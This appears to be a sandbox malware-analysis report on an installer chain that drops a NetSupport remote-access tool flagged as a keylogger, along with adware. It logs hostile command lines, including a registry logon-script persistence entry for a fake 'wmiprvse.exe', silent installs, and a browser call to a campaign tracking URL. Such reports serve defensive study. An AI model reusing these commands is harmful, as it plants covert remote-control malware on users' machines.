Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:33:13
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp" /SL5="$204E6,10235147,832512,C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	AD96645518D5ABDD4F96B007E799F61E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:33:15
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* %ProgramData%
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:33:15
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:33:15
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\expand.exe
Wow64 process (32bit):	true
Commandline:	expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData
Imagebase:	0x770000
File size:	53'248 bytes
MD5 hash:	544B0DBFF3F393BCE8BB9D815F532D51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:33:16
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:33:16
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:33:16
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Imagebase:	0x850000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:33:16
Start date:	06/12/2023
Path:	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe
Imagebase:	0x400000
File size:	120'232 bytes
MD5 hash:	261D6E9D4571D1938CB54A2AE1B1821D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.4543369015.0000000000402000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.4545412473.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.4554414336.00000000111E2000.00000004.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000E.00000000.2226521290.0000000000402000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:33:16
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:33:16
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:33:17
Start date:	06/12/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:33:18
Start date:	06/12/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1944,i,7293326498590966015,15724221701917447522,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:33:23
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe" /qn CAMPAIGN="2598
Imagebase:	0x1b0000
File size:	4'724'720 bytes
MD5 hash:	FA24733F5A6A6F44D0E65D7D98B84AA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:33:26
Start date:	06/12/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff69be70000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	14:33:29
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 7B2098DE867FDA1FBAC9E94E8D311FE9 C
Imagebase:	0x90000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:33:33
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598
Imagebase:	0x90000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:33:35
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding CB3F137362C364F2A010C44D44B9B692
Imagebase:	0x90000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:33:35
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:33:35
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:33:39
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding A0F7B99CF6F59695615DF13CC6461763 E Global\MSI0000
Imagebase:	0x90000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:33:40
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe" /silentall -nofreqcheck -nogui
Imagebase:	0x60000
File size:	1'026'936 bytes
MD5 hash:	F95007206C6B2407FB69748EF7C93612
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:33:43
Start date:	06/12/2023
Path:	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini
Imagebase:	0x4f0000
File size:	1'026'936 bytes
MD5 hash:	F95007206C6B2407FB69748EF7C93612
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:33:49
Start date:	06/12/2023
Path:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Imagebase:	0x430000
File size:	3'635'424 bytes
MD5 hash:	8CAD036C5CFED94D5319A060C488E38F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:33:51
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 9A415338A0E06E3AA66F7530B5FE606F C
Imagebase:	0x90000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:33:54
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\msiexec.exe" /i "C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi" AI_SETUPEXEPATH="C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" SETUPEXEDIR="C:\ProgramData\AW Manager\Windows Manager\updates\v113\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 "
Imagebase:	0x90000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:33:54
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 50B63A94597415634C568616DD551356 E Global\MSI0000
Imagebase:	0x90000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:33:54
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:33:54
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:33:55
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:33:55
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:34:00
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:34:00
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 54%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	14:34:01
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	14:34:02
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	14:34:02
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	14:34:02
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
Imagebase:	0x400000
File size:	482'632 bytes
MD5 hash:	26F21ED76944ED83382851D9F2453B0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	14:34:02
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	14:34:02
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	14:34:03
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	14:34:03
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.9%
Total number of Nodes:	786
Total number of Limit Nodes:	15

Executed Functions

Function 10002A20 Relevance: 3.6, APIs: 2, Instructions: 560
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10004CC0: _memcpy_s.LIBCMT ref: 10004D43

InternetReadFile.WININET(?,?,?,?), ref: 10002EBF
_fwrite.LIBCMT ref: 10002EED

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

Part of subcall function 100115A0: GetWindowLongW.USER32(?,000000F0), ref: 100115A4
Part of subcall function 100115A0: SetWindowLongW.USER32(?,000000F0,00000000), ref: 100115BA
Part of subcall function 100115A0: SendMessageW.USER32(?,0000040A,00000001,0000001E), ref: 100115CA

Part of subcall function 100032D0: GetTickCount.KERNEL32 ref: 100032E7

Part of subcall function 10003460: GetTickCount.KERNEL32 ref: 10003469

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CountLongTickWindow_memcpy_s$FileInternetMessageReadSend_fwrite
String ID:
API String ID: 299267306-0
Opcode ID: feed1562f7a792029a53d8156ffc233382bdec311974261d537cb2be834ca5da
Instruction ID: c8d4544e754c25669b4337e797654c03def6fb5cbee6d32e7e648880c0cb9aee
Opcode Fuzzy Hash: feed1562f7a792029a53d8156ffc233382bdec311974261d537cb2be834ca5da
Instruction Fuzzy Hash: 03228275D00214ABEF04DFA8CC85B9EBBB5EF48340F14816DF819AB246DB35AD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10014BC0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 358
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10014A60: InternetConnectW.WININET(?,?,?,?,?,?,?,00000000), ref: 10014B94

FtpOpenFileW.WININET(?,?,80000000,80000002,00000000), ref: 10014CDC
HttpOpenRequestW.WININET(?,HEAD,?,00000000,00000000,?,84400000,00000000), ref: 10014DE4
HttpSendRequestW.WININET(?,00000000,00000000,00000000,00000000), ref: 10014E09
GetLastError.KERNEL32(?,?,?,?,?), ref: 10014E17
GetDesktopWindow.USER32 ref: 10014E4B
InternetQueryOptionW.WININET(?,0000001F,?,?), ref: 10014EDB
HttpQueryInfoW.WININET(?,20000013,?,?,?), ref: 10014F2B
